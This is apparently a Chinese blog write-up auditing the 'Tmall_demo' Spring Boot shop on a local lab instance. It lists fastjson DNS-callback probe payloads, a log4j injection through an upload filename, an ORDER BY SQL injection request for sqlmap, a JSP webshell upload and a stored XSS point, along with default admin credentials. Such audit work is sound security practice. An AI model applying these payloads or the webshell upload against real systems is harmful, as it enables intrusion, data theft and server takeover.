迷你天猫商城代码审计

前言

介绍

环境搭建

环境搭建:下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。

启动本地Mysql,在 src/main/resources/application.properties中修改Mysql账号密码。创建并导入数据库

create database tmalldemodb;
use tmalldemodb;
source \Tmall_demo\sqls\tmalldemodb.sql
前台:http://127.0.0.1:8060/tmall/
账号密码:
a120/123456
MRJIANG/123456
后台:http://127.0.0.1:8060/tmall/admin
账号密码:
admin/123456

漏洞审计

fastjson

查看pom.xml文件得知项目使用了fastjson组件,且版本为1.2.58,存在反序列化漏洞。fastjson解析json字符串主要通过两个方法

JSON.parseObject()
JSON.parse()

全局对这两个函数进行检索,发现存在JSON.parseObject()

跟入ProductController.java文件,发现该方法对字段propertyJson进行了解析,再向上回溯该参数,发现后在admin/product页面中,后端从前端请求中获取了该参数的值。

    @ResponseBody
    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")
    public String addProduct(@RequestParam String product_name/* 产品名称 */,
                             @RequestParam String product_title/* 产品标题 */,
                             @RequestParam Integer product_category_id/* 产品类型ID */,
                             @RequestParam Double product_sale_price/* 产品促销价 */,
                             @RequestParam Double product_price/* 产品原价 */,
                             @RequestParam Byte product_isEnabled/* 产品状态 */,
                             @RequestParam String propertyJson/* 产品属性JSON */,
                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,
                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {
        JSONObject jsonObject = new JSONObject();
        logger.info("整合产品信息");
        Product product = new Product()
                .setProduct_name(product_name)
                .setProduct_title(product_title)
                .setProduct_category(new Category().setCategory_id(product_category_id))
                .setProduct_sale_price(product_sale_price)
                .setProduct_price(product_price)
                .setProduct_isEnabled(product_isEnabled)
                .setProduct_create_date(new Date());
        logger.info("添加产品信息");
        boolean yn = productService.add(product);
        if (!yn) {
            logger.warn("产品添加失败!事务回滚");
            jsonObject.put("success", false);
            throw new RuntimeException();
        }
        int product_id = lastIDService.selectLastID();
        logger.info("添加成功!,新增产品的ID值为:{}", product_id);

        JSONObject object = JSON.parseObject(propertyJson);

登录后台,所有产品—添加一件产品,随意填写一些数据后提交,再进行抓包。

可以看到漏洞出发点propertyJson参数,将其值替换为DNS回显Payload

可以看到回显

其他几个fastjson漏洞触发点:

1.ProductController.java#updateProduct()的propertyAddJson参数和propertyUpdateJson参数,前端位于所有产品—产品详情—保存
2.ForeOrderController.java#updateOrderItem()的orderItemMap参数和orderItemJSON参数,前端前者位于购物车—结算,后者位于购物车—结算—提交订单

其他fastjson漏洞的DNS回显验证POC

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

log4j

查看pom.xml文件得知项目使用了log4j-core组件,该组件漏洞主要发生在引入的log4j-core,log4j-api是不存在该问题的。log4j-core是源码,log4j-api是接口。且版本为2.10.0,存在反序列化漏洞。log4j漏洞触发点为logger类的方法

全局检索,可以看到存在很多logger.info()方法

我们去寻找可以利用的注入点,先看这个addressId,它的值是硬编码在代码中的,不是从前端请求中获取,所以不可利用。

再看adminId参数,checkAdmin()方法从session中获取adminId的值,不为空返回,并传入logger.info()方法。但我抓包发现并没有session头和adminId字段的值。checkUser()方法同理。

再比如productImage_id参数,被限定为Integer类型,无法利用。

我们找到前台用户头像上传处,它将文件名传给了logger.info()方法。

抓包,修改文件名为POC

得到DNS响应

应该还有其他log4j漏洞触发点。

SQL注入

查看pom.xml文件得知项目使用了mybatis组件,全局检索是否使用”${“进行SQL拼接。可以看到order by处使用了”$”拼接,order by或者标明作参数时,不能使用”#{“进行拼接,所以应采取其他防止SQL注入的措施。

我们看UserMapper.xml中的ORDER BY

    <select id="select" resultMap="userMap">
        SELECT user_id,user_name,user_nickname,user_password,user_realname,user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user
        <if test="user != null">
            <where>
                <if test="user.user_name != null">
                    (user_name LIKE concat('%',#{user.user_name},'%') or user_nickname LIKE concat('%',#{user.user_name},'%'))
                </if>
                <if test="user.user_gender != null">
                    and user_gender = #{user.user_gender}
                </if>
            </where>
        </if>
        <if test="orderUtil != null">
            ORDER BY ${orderUtil.orderBy}<if test="orderUtil.isDesc">desc </if>
        </if>
        <if test="pageUtil != null">
            LIMIT #{pageUtil.pageStart},#{pageUtil.count}
        </if>
    </select>

在Java代码中搜索UserMapper.select

在UserServiceImpl.java文件中

public List<User> getList(User user, OrderUtil orderUtil, PageUtil pageUtil) {
return userMapper.select(user,orderUtil,pageUtil);
}

再全局搜索UserService.getList

第一个调用中参数orderUtil的值被写死为”null”,所以看第二个

    //按条件查询用户-ajax
    @ResponseBody
    @RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
    public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
                                  @RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
                                  @RequestParam(required = false) String orderBy/* 排序字段 */,
                                  @RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
                                  @PathVariable Integer index/* 页数 */,
                                  @PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
        //移除不必要条件
        Byte gender = null;
        if (user_gender_array != null && user_gender_array.length == 1) {
            gender = user_gender_array[0];
        }

        if (user_name != null) {
            //如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
            user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
        }
        if (orderBy != null && "".equals(orderBy)) {
            orderBy = null;
        }
        //封装查询条件
        User user = new User()
                .setUser_name(user_name)
                .setUser_gender(gender);

        OrderUtil orderUtil = null;
        if (orderBy != null) {
            logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
            orderUtil = new OrderUtil(orderBy, isDesc);
        }

        JSONObject object = new JSONObject();
        logger.info("按条件获取第{}页的{}条用户", index + 1, count);
        PageUtil pageUtil = new PageUtil(index, count);
        List<User> userList = userService.getList(user, orderUtil, pageUtil);
        object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
        logger.info("按条件获取用户总数量");
        Integer userCount = userService.getTotal(user);
        object.put("userCount", userCount);
        logger.info("获取分页信息");
        pageUtil.setTotal(userCount);
        object.put("totalPage", pageUtil.getTotalPage());
        object.put("pageUtil", pageUtil);

        return object.toJSONString();
    }
}

漏洞点是在管理后台,按条件查询用户处,抓包,在orderBy处加个星号。

GET /tmall/admin/user/0/10?user_name=11&user_gender_array=0&user_gender_array=1&orderBy=*&isDesc=true HTTP/1.1
Host: 127.0.0.1:8060
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8060/tmall/admin
Cookie: username=admin; JSESSIONID=06E92627BE91B4F01C1CB3F62D7F65D0; addressId=110000; cityAddressId=110100; districtAddressId=110101; order_post=; order_receiver=111; order_phone=18900001111; detailsAddress=1; username=admin; _jspxcms=5bbf48a9779246a9b5ea150b813dcd02
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

放Sqlmap

任意文件上传漏洞

对于SpingBoot项目来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。

    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-jasper</artifactId>
      <scope>provided</scope>
    </dependency>

对于很多SpringBoot项目来说,是无需引入解析JSP依赖的。那么对于任意文件上传漏洞来说,上传JSP木马肯定是没有办法解析的。对于任意文件上传漏洞利用,只能通过内存马等方式进行攻击。

任意文件上传审计时关注的函数

File
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest

任意文件上传审计时关注的功能点:

头像图片上传、文档上传等

我们查看用户头像上传功能,发现没有进行文件后缀校验

    //前台天猫-用户更换头像
    @ResponseBody
    @RequestMapping(value = "user/uploadUserHeadImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")
    public  String uploadUserHeadImage(@RequestParam MultipartFile file, HttpSession session
    ){
        String originalFileName = file.getOriginalFilename();
        logger.info("获取图片原始文件名:{}", originalFileName);
        String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));
        String fileName = UUID.randomUUID() + extension;
        String filePath = session.getServletContext().getRealPath("/") + "res/images/item/userProfilePicture/" + fileName;
        logger.info("文件上传路径:{}", filePath);
        JSONObject jsonObject = new JSONObject();
        try {
            logger.info("文件上传中...");
            file.transferTo(new File(filePath));
            logger.info("文件上传成功!");
            jsonObject.put("success", true);
            jsonObject.put("fileName", fileName);
        } catch (IOException e) {
            logger.warn("文件上传失败!");
            e.printStackTrace();
            jsonObject.put("success", false);
        }
        return jsonObject.toJSONString();
    }

抓包,修改文件名后缀为jsp,修改Content-Type头的值为text/html,后一个不是必须的。将文件内容替换为木马。

发包,返回了处理后的文件名。

可以代码审计得出路径。

这里从渗透角度出发看下,在前端F12查看上传文件路径:

拼接文件路径

http://127.0.0.1:8060/tmall/res/images/item/userProfilePicture/42a8bedf-6f10-4062-bbc1-2e4f8ad529b4.jsp

冰蝎连接

XSS

从开发视觉来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤。
或者所使用的前端框架自带防XSS机制。所以,我们审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码
我们看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找,发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制

在后台—管理员昵称处添加payload

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇